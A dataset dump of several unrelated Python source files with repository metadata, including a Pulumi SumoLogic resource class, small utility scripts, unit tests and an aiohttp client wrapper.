= None, use_autoline_matching: Optional[pulumi.Input[bool]] = None): """ Input properties used for looking up and filtering CloudSyslogSource resources. """ if automatic_date_parsing is not None: pulumi.set(__self__, "automatic_date_parsing", automatic_date_parsing) if category is not None: pulumi.set(__self__, "category", category) if collector_id is not None: pulumi.set(__self__, "collector_id", collector_id) if content_type is not None: pulumi.set(__self__, "content_type", content_type) if cutoff_relative_time is not None: pulumi.set(__self__, "cutoff_relative_time", cutoff_relative_time) if cutoff_timestamp is not None: pulumi.set(__self__, "cutoff_timestamp", cutoff_timestamp) if default_date_formats is not None: pulumi.set(__self__, "default_date_formats", default_date_formats) if description is not None: pulumi.set(__self__, "description", description) if fields is not None: pulumi.set(__self__, "fields", fields) if filters is not None: pulumi.set(__self__, "filters", filters) if force_timezone is not None: pulumi.set(__self__, "force_timezone", force_timezone) if host_name is not None: pulumi.set(__self__, "host_name", host_name) if manual_prefix_regexp is not None: pulumi.set(__self__, "manual_prefix_regexp", manual_prefix_regexp) if multiline_processing_enabled is not None: pulumi.set(__self__, "multiline_processing_enabled", multiline_processing_enabled) if name is not None: pulumi.set(__self__, "name", name) if timezone is not None: pulumi.set(__self__, "timezone", timezone) if token is not None: pulumi.set(__self__, "token", token) if use_autoline_matching is not None: pulumi.set(__self__, "use_autoline_matching", use_autoline_matching) @property @pulumi.getter(name="automaticDateParsing") def automatic_date_parsing(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "automatic_date_parsing") @automatic_date_parsing.setter def automatic_date_parsing(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "automatic_date_parsing", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter(name="collectorId") def collector_id(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "collector_id") @collector_id.setter def collector_id(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "collector_id", value) @property @pulumi.getter(name="contentType") def content_type(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "content_type") @content_type.setter def content_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content_type", value) @property @pulumi.getter(name="cutoffRelativeTime") def cutoff_relative_time(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "cutoff_relative_time") @cutoff_relative_time.setter def cutoff_relative_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cutoff_relative_time", value) @property @pulumi.getter(name="cutoffTimestamp") def cutoff_timestamp(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "cutoff_timestamp") @cutoff_timestamp.setter def cutoff_timestamp(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cutoff_timestamp", value) @property @pulumi.getter(name="defaultDateFormats") def default_date_formats(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]: return pulumi.get(self, "default_date_formats") @default_date_formats.setter def default_date_formats(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]): pulumi.set(self, "default_date_formats", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def fields(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: return pulumi.get(self, "fields") @fields.setter def fields(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "fields", value) @property @pulumi.getter def filters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]: return pulumi.get(self, "filters") @filters.setter def filters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]): pulumi.set(self, "filters", value) @property @pulumi.getter(name="forceTimezone") def force_timezone(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "force_timezone") @force_timezone.setter def force_timezone(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "force_timezone", value) @property @pulumi.getter(name="hostName") def host_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "host_name") @host_name.setter def host_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "host_name", value) @property @pulumi.getter(name="manualPrefixRegexp") def manual_prefix_regexp(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "manual_prefix_regexp") @manual_prefix_regexp.setter def manual_prefix_regexp(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "manual_prefix_regexp", value) @property @pulumi.getter(name="multilineProcessingEnabled") def multiline_processing_enabled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "multiline_processing_enabled") @multiline_processing_enabled.setter def multiline_processing_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "multiline_processing_enabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def timezone(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "timezone") @timezone.setter def timezone(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "timezone", value) @property @pulumi.getter def token(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "token") @token.setter def token(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "token", value) @property @pulumi.getter(name="useAutolineMatching") def use_autoline_matching(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "use_autoline_matching") @use_autoline_matching.setter def use_autoline_matching(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_autoline_matching", value) class CloudSyslogSource(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, automatic_date_parsing: Optional[pulumi.Input[bool]] = None, category: Optional[pulumi.Input[str]] = None, collector_id: Optional[pulumi.Input[int]] = None, content_type: Optional[pulumi.Input[str]] = None, cutoff_relative_time: Optional[pulumi.Input[str]] = None, cutoff_timestamp: Optional[pulumi.Input[int]] = None, default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None, description: Optional[pulumi.Input[str]] = None, fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None, force_timezone: Optional[pulumi.Input[bool]] = None, host_name: Optional[pulumi.Input[str]] = None, manual_prefix_regexp: Optional[pulumi.Input[str]] = None, multiline_processing_enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, timezone: Optional[pulumi.Input[str]] = None, use_autoline_matching: Optional[pulumi.Input[bool]] = None, __props__=None): """ Provides a [Sumo Logic Cloud Syslog source](https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source). __IMPORTANT:__ The token is stored in plain-text in the state. This is a potential security issue. ## Example Usage ```python import pulumi import pulumi_sumologic as sumologic collector = sumologic.Collector("collector", description="Just testing this") cloudsyslog_source = sumologic.CloudSyslogSource("cloudsyslogSource", category="my/source/category", collector_id=collector.id, description="My description") ``` ## Attributes reference The following attributes are exported: - `id` - The internal ID of the source. - `token` - The token to use for sending data to this source. ## Import Cloud Syslog sources can be imported using the collector and source IDs (`collector/source`), e.g.hcl ```sh $ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test 123/456 ``` HTTP sources can be imported using the collector name and source name (`collectorName/sourceName`), e.g.hcl ```sh $ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test my-test-collector/my-test-source ``` [1]https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. """ ... @overload def __init__(__self__, resource_name: str, args: CloudSyslogSourceArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a [Sumo Logic Cloud Syslog source](https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source). __IMPORTANT:__ The token is stored in plain-text in the state. This is a potential security issue. ## Example Usage ```python import pulumi import pulumi_sumologic as sumologic collector = sumologic.Collector("collector", description="Just testing this") cloudsyslog_source = sumologic.CloudSyslogSource("cloudsyslogSource", category="my/source/category", collector_id=collector.id, description="My description") ``` ## Attributes reference The following attributes are exported: - `id` - The internal ID of the source. - `token` - The token to use for sending data to this source. ## Import Cloud Syslog sources can be imported using the collector and source IDs (`collector/source`), e.g.hcl ```sh $ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test 123/456 ``` HTTP sources can be imported using the collector name and source name (`collectorName/sourceName`), e.g.hcl ```sh $ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test my-test-collector/my-test-source ``` [1]https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source :param str resource_name: The name of the resource. :param CloudSyslogSourceArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(CloudSyslogSourceArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, automatic_date_parsing: Optional[pulumi.Input[bool]] = None, category: Optional[pulumi.Input[str]] = None, collector_id: Optional[pulumi.Input[int]] = None, content_type: Optional[pulumi.Input[str]] = None, cutoff_relative_time: Optional[pulumi.Input[str]] = None, cutoff_timestamp: Optional[pulumi.Input[int]] = None, default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None, description: Optional[pulumi.Input[str]] = None, fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None, force_timezone: Optional[pulumi.Input[bool]] = None, host_name: Optional[pulumi.Input[str]] = None, manual_prefix_regexp: Optional[pulumi.Input[str]] = None, multiline_processing_enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, timezone: Optional[pulumi.Input[str]] = None, use_autoline_matching: Optional[pulumi.Input[bool]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = CloudSyslogSourceArgs.__new__(CloudSyslogSourceArgs) __props__.__dict__["automatic_date_parsing"] = automatic_date_parsing __props__.__dict__["category"] = category if collector_id is None and not opts.urn: raise TypeError("Missing required property 'collector_id'") __props__.__dict__["collector_id"] = collector_id __props__.__dict__["content_type"] = content_type __props__.__dict__["cutoff_relative_time"] = cutoff_relative_time __props__.__dict__["cutoff_timestamp"] = cutoff_timestamp __props__.__dict__["default_date_formats"] = default_date_formats __props__.__dict__["description"] = description __props__.__dict__["fields"] = fields __props__.__dict__["filters"] = filters __props__.__dict__["force_timezone"] = force_timezone __props__.__dict__["host_name"] = host_name __props__.__dict__["manual_prefix_regexp"] = manual_prefix_regexp __props__.__dict__["multiline_processing_enabled"] = multiline_processing_enabled __props__.__dict__["name"] = name __props__.__dict__["timezone"] = timezone __props__.__dict__["use_autoline_matching"] = use_autoline_matching __props__.__dict__["token"] = None super(CloudSyslogSource, __self__).__init__( 'sumologic:index/cloudSyslogSource:CloudSyslogSource', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, automatic_date_parsing: Optional[pulumi.Input[bool]] = None, category: Optional[pulumi.Input[str]] = None, collector_id: Optional[pulumi.Input[int]] = None, content_type: Optional[pulumi.Input[str]] = None, cutoff_relative_time: Optional[pulumi.Input[str]] = None, cutoff_timestamp: Optional[pulumi.Input[int]] = None, default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None, description: Optional[pulumi.Input[str]] = None, fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None, force_timezone: Optional[pulumi.Input[bool]] = None, host_name: Optional[pulumi.Input[str]] = None, manual_prefix_regexp: Optional[pulumi.Input[str]] = None, multiline_processing_enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, timezone: Optional[pulumi.Input[str]] = None, token: Optional[pulumi.Input[str]] = None, use_autoline_matching: Optional[pulumi.Input[bool]] = None) -> 'CloudSyslogSource': """ Get an existing CloudSyslogSource resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _CloudSyslogSourceState.__new__(_CloudSyslogSourceState) __props__.__dict__["automatic_date_parsing"] = automatic_date_parsing __props__.__dict__["category"] = category __props__.__dict__["collector_id"] = collector_id __props__.__dict__["content_type"] = content_type __props__.__dict__["cutoff_relative_time"] = cutoff_relative_time __props__.__dict__["cutoff_timestamp"] = cutoff_timestamp __props__.__dict__["default_date_formats"] = default_date_formats __props__.__dict__["description"] = description __props__.__dict__["fields"] = fields __props__.__dict__["filters"] = filters __props__.__dict__["force_timezone"] = force_timezone __props__.__dict__["host_name"] = host_name __props__.__dict__["manual_prefix_regexp"] = manual_prefix_regexp __props__.__dict__["multiline_processing_enabled"] = multiline_processing_enabled __props__.__dict__["name"] = name __props__.__dict__["timezone"] = timezone __props__.__dict__["token"] = token __props__.__dict__["use_autoline_matching"] = use_autoline_matching return CloudSyslogSource(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="automaticDateParsing") def automatic_date_parsing(self) -> pulumi.Output[Optional[bool]]: return pulumi.get(self, "automatic_date_parsing") @property @pulumi.getter def category(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "category") @property @pulumi.getter(name="collectorId") def collector_id(self) -> pulumi.Output[int]: return pulumi.get(self, "collector_id") @property @pulumi.getter(name="contentType") def content_type(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "content_type") @property @pulumi.getter(name="cutoffRelativeTime") def cutoff_relative_time(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "cutoff_relative_time") @property @pulumi.getter(name="cutoffTimestamp") def cutoff_timestamp(self) -> pulumi.Output[Optional[int]]: return pulumi.get(self, "cutoff_timestamp") @property @pulumi.getter(name="defaultDateFormats") def default_date_formats(self) -> pulumi.Output[Optional[Sequence['outputs.CloudSyslogSourceDefaultDateFormat']]]: return pulumi.get(self, "default_date_formats") @property @pulumi.getter def description(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "description") @property @pulumi.getter def fields(self) -> pulumi.Output[Optional[Mapping[str, str]]]: return pulumi.get(self, "fields") @property @pulumi.getter def filters(self) -> pulumi.Output[Optional[Sequence['outputs.CloudSyslogSourceFilter']]]: return pulumi.get(self, "filters") @property @pulumi.getter(name="forceTimezone") def force_timezone(self) -> pulumi.Output[Optional[bool]]: return pulumi.get(self, "force_timezone") @property @pulumi.getter(name="hostName") def host_name(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "host_name") @property @pulumi.getter(name="manualPrefixRegexp") def manual_prefix_regexp(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "manual_prefix_regexp") @property @pulumi.getter(name="multilineProcessingEnabled") def multiline_processing_enabled(self) -> pulumi.Output[Optional[bool]]: return pulumi.get(self, "multiline_processing_enabled") @property @pulumi.getter def name(self) -> pulumi.Output[str]: return pulumi.get(self, "name") @property @pulumi.getter def timezone(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "timezone") @property @pulumi.getter def token(self) -> pulumi.Output[str]: return pulumi.get(self, "token") @property @pulumi.getter(name="useAutolineMatching") def use_autoline_matching(self) -> pulumi.Output[Optional[bool]]: return pulumi.get(self, "use_autoline_matching")

43.387887

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0.667766

3,714

33,669

5.764943

0.059505

0.096586

0.136659

0.078091

0.905563

0.899117

0.879408

0.869226

0.846808

0.808043

0

0.000876

0.219906

33,669

775

154

43.443871

0.814316

0.105646

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0.866667

1

0

0.124115

0.049016

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0.166667

false

0.001754

0.012281

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0

null

0

1

0

1

0

null

0

8

2082478c5b65779aae2acfdccad35b5845fda1cd

153

py

Python

util/ts2date.py

shamilbi/ru203

cc6c5b232527baf427ae1f9765384bd6324838b8

[ "MIT" ]

null

util/ts2date.py

shamilbi/ru203

cc6c5b232527baf427ae1f9765384bd6324838b8

[ "MIT" ]

null

util/ts2date.py

shamilbi/ru203

cc6c5b232527baf427ae1f9765384bd6324838b8

[ "MIT" ]

null

#!/usr/bin/python3 import sys from datetime import datetime #print(datetime.fromtimestamp(1609804800)) print(datetime.fromtimestamp(int(sys.argv[1])))

19.125

47

0.79085

20

153

6.05

0.65

0.214876

0.429752

0

0.084507

0.071895

153

7

48

21.857143

0.767606

0.379085

0

1

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true

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0.666667

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0.666667

0.333333

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1

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null

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1

0

1

0

1

0

7

209f6cbdc0d2ebb4d264bc68fb726831a1acfbca

179

py

Python

examples/software_defined_assets/software_defined_assets/repo.py

rpatil524/dagster

6f918d94cbd543ab752ab484a65e3a40fd441716

[ "Apache-2.0" ]

1

2021-01-31T19:16:29.000Z

examples/software_defined_assets/software_defined_assets/repo.py

rpatil524/dagster

6f918d94cbd543ab752ab484a65e3a40fd441716

[ "Apache-2.0" ]

null

examples/software_defined_assets/software_defined_assets/repo.py

rpatil524/dagster

6f918d94cbd543ab752ab484a65e3a40fd441716

[ "Apache-2.0" ]

1

2021-12-08T18:13:19.000Z

from dagster import repository from software_defined_assets.spark_weather_job import spark_weather_job @repository def software_defined_assets(): return [spark_weather_job]

22.375

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null

0

1

0

1

0

8

20a6c985d526f34522849a1ac0510dc9b1aa909f

1,595

py

Python

tools/vscode-extension/server/tests/test_imports.py

orlandoojr1/wave

e86d0c87c6c67e510fb4e1fa571982ca0a09f33c

[ "Apache-2.0" ]

1

2022-03-02T21:54:36.000Z

tools/vscode-extension/server/tests/test_imports.py

orlandoojr1/wave

e86d0c87c6c67e510fb4e1fa571982ca0a09f33c

[ "Apache-2.0" ]

null

tools/vscode-extension/server/tests/test_imports.py

orlandoojr1/wave

e86d0c87c6c67e510fb4e1fa571982ca0a09f33c

[ "Apache-2.0" ]

null

import os from server.lsp_server import did_save from server.parser import read_file from server.tests.utils import BaseTestCase, FakeSaveParams, root_uri class TestImportCompletions(BaseTestCase): def test_import_deps(self): self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py')) def test_remove_import_deps(self): self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py')) file_path = os.path.join(root_uri, 'main.py') removed_imports = read_file(file_path).replace('import utils, utils2', '') # Mock save action. did_save(self.server, FakeSaveParams(removed_imports, file_path)) completions = self.get_completions('q.client.', doc_uri=os.path.join(root_uri, 'utils.py')) self.assertEqual(len(completions), 1) self.assertTrue('regular_import' in completions) def test_add_import_deps(self): file_path = os.path.join(root_uri, 'main.py') removed_imports = read_file(file_path).replace('import utils, utils2', '') # Mock save action. did_save(self.server, FakeSaveParams(removed_imports, file_path)) completions = self.get_completions('q.client.', doc_uri=os.path.join(root_uri, 'utils.py')) self.assertEqual(len(completions), 1) self.assertTrue('regular_import' in completions) # Mock save action. did_save(self.server, FakeSaveParams('import utils, utils2\n' + removed_imports, file_path)) self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))

43.108108

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null

0

1

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1

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7

20c7a8c58fb4f9877accd39d859cfec7acddcbe2

4,399

py

Python

src/HABApp/rule/interfaces/http.py

pailloM/HABApp

3e0defd99ede9b91c164cb9d1ee011fd74e801c3

[ "Apache-2.0" ]

null

src/HABApp/rule/interfaces/http.py

pailloM/HABApp

3e0defd99ede9b91c164cb9d1ee011fd74e801c3

[ "Apache-2.0" ]

null

src/HABApp/rule/interfaces/http.py

pailloM/HABApp

3e0defd99ede9b91c164cb9d1ee011fd74e801c3

[ "Apache-2.0" ]

null

from typing import Any, Optional, Mapping import aiohttp from HABApp.core.const import loop from HABApp.core.const.json import dump_json class AsyncHttpConnection: def __init__(self): self.__client: aiohttp.ClientSession = None async def create_client(self): assert self.__client is None self.__client = aiohttp.ClientSession(json_serialize=dump_json, loop=loop) from HABApp.runtime import shutdown shutdown.register_func(self.__client.close, msg='Closing generic http connection') def get(self, url: str, params: Optional[Mapping[str, str]] = None, **kwargs: Any)\ -> aiohttp.client._RequestContextManager: """http get request :param url: Request URL :param params: Mapping, iterable of tuple of key/value pairs (e.g. dict) to be sent as parameters in the query string of the new request. `Params example <https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_ :param data: Dictionary, bytes, or file-like object to send in the body of the request (optional) :param json: Any json compatible python object, json and data parameters could not be used at the same time. (optional) :param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_ for further possible kwargs :return: awaitable """ return self.__client.get(url, params=params, **kwargs) def post(self, url: str, params: Optional[Mapping[str, str]] = None, data: Any = None, json: Any = None, **kwargs: Any) -> aiohttp.client._RequestContextManager: """http post request :param url: Request URL :param params: Mapping, iterable of tuple of key/value pairs (e.g. dict) to be sent as parameters in the query string of the new request. `Params example <https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_ :param data: Dictionary, bytes, or file-like object to send in the body of the request (optional) :param json: Any json compatible python object, json and data parameters could not be used at the same time. (optional) :param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_ for further possible kwargs :return: awaitable """ return self.__client.post(url, params=params, data=data, json=json, **kwargs) def put(self, url: str, params: Optional[Mapping[str, str]] = None, data: Any = None, json: Any = None, **kwargs: Any) -> aiohttp.client._RequestContextManager: """http put request :param url: Request URL :param params: Mapping, iterable of tuple of key/value pairs (e.g. dict) to be sent as parameters in the query string of the new request. `Params example <https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_ :param data: Dictionary, bytes, or file-like object to send in the body of the request (optional) :param json: Any json compatible python object, json and data parameters could not be used at the same time. (optional) :param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_ for further possible kwargs :return: awaitable """ return self.__client.put(url, params=params, data=data, json=json, **kwargs) def delete(self, url: str, params: Optional[Mapping[str, str]] = None, **kwargs: Any)\ -> aiohttp.client._RequestContextManager: return self.__client.delete(url, params=params, **kwargs) def get_client_session(self) -> aiohttp.ClientSession: """Return the aiohttp `client session object <https://docs.aiohttp.org/en/stable/client_reference.html#client-session>`_ for use in aiohttp libraries :return: session object """ return self.__client

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4,399

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0.032931

0.040981

0.048664

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1

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null

0

1

0

1

0

7

20e0e6b730e5af972cc7da5736bbc112da925171

932

py

Python

tests/kit/closest_pair.py

untzag/WrightTools

05480d2f91ceeca422d9e5ac381fce1840207cb0

[ "MIT" ]

12

2017-07-11T15:58:12.000Z

2021-05-10T20:33:26.000Z

tests/kit/closest_pair.py

untzag/WrightTools

05480d2f91ceeca422d9e5ac381fce1840207cb0

[ "MIT" ]

808

2015-04-12T00:36:08.000Z

2022-03-27T21:06:06.000Z

tests/kit/closest_pair.py

untzag/WrightTools

05480d2f91ceeca422d9e5ac381fce1840207cb0

[ "MIT" ]

9

2017-07-22T18:54:23.000Z

2022-02-17T20:31:05.000Z

"""Test closest pair.""" # --- import ------------------------------------------------------------------------------------- import numpy as np import WrightTools as wt # --- test --------------------------------------------------------------------------------------- def test_5(): arr = np.array([1, 3, 4, 6, 12]) assert wt.kit.closest_pair(arr) == [[(1,), (2,)]] assert wt.kit.closest_pair(arr, "distance") == 1 def test_5_multiple(): arr = np.array([1, 3, 4, 11, 12]) assert wt.kit.closest_pair(arr) == [[(1,), (2,)], [(3,), (4,)]] assert wt.kit.closest_pair(arr, "distance") == 1 def test_example(): arr = np.array([0, 1, 2, 3, 3, 4, 5, 6, 1]) assert wt.kit.closest_pair(arr) == [[(1,), (8,)], [(3,), (4,)]] def test_2x3(): arr = np.array([[0, 1, 2], [3, 4, 4.5]]) assert wt.kit.closest_pair(arr) == [[(1, 1), (1, 2)]] assert wt.kit.closest_pair(arr, "distance") == 0.5

25.888889

98

0.436695

127

932

3.110236

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0.222785

0.194937

0.318987

0.711392

0.64557

0.443038

0.207595

0

0.066062

0.171674

932

35

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0.235294

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0

null

0

1

0

1

0

7

20f042d59ade10bee87508834d5c2adece50c21e

572

py

Python

riskslim/loss_functions/__init__.py

jnirschl/risk-slim

f0dc978780923e38d24e8219766c9f13d82a500f

[ "BSD-3-Clause" ]

117

2017-02-15T01:44:53.000Z

2022-03-26T14:11:51.000Z

riskslim/loss_functions/__init__.py

vishalbelsare/risk-slim

100aca0fc0475e1ffb22f5ecf8ba240384a10adb

[ "BSD-3-Clause" ]

13

2017-07-19T14:34:31.000Z

2021-11-02T18:28:02.000Z

riskslim/loss_functions/__init__.py

jnirschl/risk-slim

f0dc978780923e38d24e8219766c9f13d82a500f

[ "BSD-3-Clause" ]

30

2017-04-01T07:21:32.000Z

2022-03-17T19:27:52.000Z

from .log_loss import * from .log_loss_weighted import * try: from .fast_log_loss import * except ImportError: print("warning: could not import fast log loss") print("warning: returning handle to standard loss functions") # todo replace with warning object import log_loss as fast_log_loss try: from .lookup_log_loss import * except ImportError: print("warning: could not import lookup log loss") print("warning: returning handle to standard loss functions") # todo replace with warning object import log_loss as lookup_log_loss

28.6

65

0.743007

81

572

5.08642

0.296296

0.169903

0.09466

0.092233

0.757282

0

0.197552

572

19

66

30.105263

0.897603

0.113636

0

0.428571

0

0.365805

0

0.052632

0

1

0

true

0

0.714286

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0.285714

0

null

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null

0

1

0

1

0

1

0

1

0

9

4577014520cebb775d5226d0a26eeed1bb9b947c

61

py

Python

src/beancount_import/directives/directive_importer.py

rpurgstaller/beanbot-personal-finance-manager

4770a17549f368985445f7d56cdf8e1097e007b1

[ "CC0-1.0" ]

null

src/beancount_import/directives/directive_importer.py

rpurgstaller/beanbot-personal-finance-manager

4770a17549f368985445f7d56cdf8e1097e007b1

[ "CC0-1.0" ]

null

src/beancount_import/directives/directive_importer.py

rpurgstaller/beanbot-personal-finance-manager

4770a17549f368985445f7d56cdf8e1097e007b1

[ "CC0-1.0" ]

null

class DirectiveImporter(): def extract(): pass

10.166667

26

0.590164

5

61

7.2

1

0

0.311475

61

5

27

12.2

0.857143

0

1

0.333333

true

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

45cc568de120d54b26b736250fad39e460a58735

126

py

Python

ACM-Solution/EQCHECK.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

2

2016-04-26T15:40:40.000Z

2018-07-18T10:16:42.000Z

ACM-Solution/EQCHECK.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

1

2016-04-26T15:44:15.000Z

2016-04-29T14:44:40.000Z

ACM-Solution/EQCHECK.py

wasi0013/Python-CodeBase

4a7a36395162f68f84ded9085fa34cc7c9b19233

[ "MIT" ]

1

2018-10-02T16:12:19.000Z

import re,fractions as f exec('a,b,c=map(int,re.split("\D",input())[::2]);print("yneos"[c%f.gcd(a,b)>0::2]);'*int(input()))

42

99

0.587302

27

126

2.740741

0.703704

0.054054

0

0.02521

0.055556

126

2

100

63

0.596639

0

0.5

0.620968

0

1

0

true

0

0.5

0

0.5

1

0

null

0

1

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1

null

0

1

0

1

0

1

0

8

affb846b8da98d1f1354ec9707a7ddd2efd47022

4,387

py

Python

tests/build_indexes_tests.py

nickmaccarthy/Tattle

b3ef57b90b804ae62124803a92c828ef80d8e8b2

[ "Apache-2.0" ]

10

2016-05-31T15:21:36.000Z

2021-01-13T21:37:28.000Z

tests/build_indexes_tests.py

nickmaccarthy/Tattle

b3ef57b90b804ae62124803a92c828ef80d8e8b2

[ "Apache-2.0" ]

4

2016-09-26T12:42:31.000Z

2016-09-26T14:14:51.000Z

tests/build_indexes_tests.py

nickmaccarthy/Tattle

b3ef57b90b804ae62124803a92c828ef80d8e8b2

[ "Apache-2.0" ]

1

2020-03-07T13:07:36.000Z

